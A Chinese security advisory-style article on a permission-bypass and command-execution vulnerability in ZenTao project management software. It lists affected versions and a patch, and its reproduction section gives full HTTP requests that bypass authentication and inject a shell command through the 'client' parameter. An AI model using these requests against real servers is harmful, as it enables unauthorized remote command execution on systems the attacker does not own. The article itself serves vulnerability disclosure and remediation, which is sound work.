禅道系统权限绕过与命令执行漏洞
2023-2-14 13:55:40 Author: www.secpulse.com(查看原文) 阅读量:70 收藏
上方蓝色字体关注我们，一起学安全！
作者：Jackey[email protected] Sec
本文字数：1107
阅读时长：2～3min
声明：仅供学习参考使用，请勿用作违法用途，否则后果自负
0x01 简介
禅道是第一款国产的开源项目管理软件，它的核心管理思想基于敏捷方法scrum，内置了产品管理和项目管理，同时又根据国内研发现状补充了测试管理、计划管理、发布管理、文档管理、事务管理等功能，在一个软件中就可以将软件研发中的需求、任务、bug、用例、计划、发布等要素有序的跟踪管理起来，完整地覆盖了项目管理的核心流程。
0x02 漏洞概述
禅道17.4以下版本存在权限绕过到命令执行漏洞。该漏洞是由于禅道项目管理系统权限认证存在缺陷导致，攻击者可利用该漏洞在未授权的情况下，通过权限绕过在服务器执行任意命令。

0x03 影响版本
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
开源版 17.4以下的未知版本<=version<=18.0.beta1
旗舰版 3.4以下的未知版本<=version<=4.0.beta1
0x04 环境搭建
选择漏洞版本安装：
https://www.zentao.net/download/zentaopms18.0.beta1-81862.html

安装文档：
https://www.zentao.net/book/zentaopmshelp/40.html

0x05 漏洞复现
1.首先依次发送如下两个请求，激活cookie信息：
GET /misc-captcha-user.html HTTP/1.1Host: ******Accept-Language: zh-CN,zh;q=0.9Accept-Encoding: gzip, deflateAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Connection: keep-aliveCookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2;; device=desktop; theme=default

POST /repo-create.html HTTP/1.1Host: ******Content-Length: 113Accept-Language: zh-CN,zh;q=0.9Accept-Encoding: gzip, deflateReferer: http://******//repo-edit-1-0.htmlAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Connection: keep-aliveX-Requested-With: XMLHttpRequestCookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2;; device=desktop; theme=defaultContent-Type: application/x-www-form-urlencoded
product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=
2.发送如下请求，如果存在漏洞，则返回包中会包含命令执行的结果
POST /repo-edit-10000-10000.html HTTP/1.1Host: ******Content-Length: 26Accept-Language: zh-CN,zh;q=0.9Accept-Encoding: gzip, deflateReferer: http://******//repo-edit-1-0.htmlAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Connection: keep-aliveX-Requested-With: XMLHttpRequestCookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2;; device=desktop; theme=defaultContent-Type: application/x-www-form-urlencoded
SCM=Subversion&client=`id`
0x06 修复方式
目前禅道官方已正式发布修复版本，建议受影响用户尽快升级至安全版本。
如不能升级，可在module/common/model.php文件中的echo $endResponseException->getContent();后面加上exit(); 来修复权限绕过漏洞。
参考链接：

https://github.com/webraybtl/zentaopms_poc

https://mp.weixin.qq.com/s/ZHsYaU31WkzAJijy1V0U1w

本文作者：Timeline Sec

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/195828.html


文章来源: https://www.secpulse.com/archives/195828.html
如有侵权请联系:admin#unsafe.sh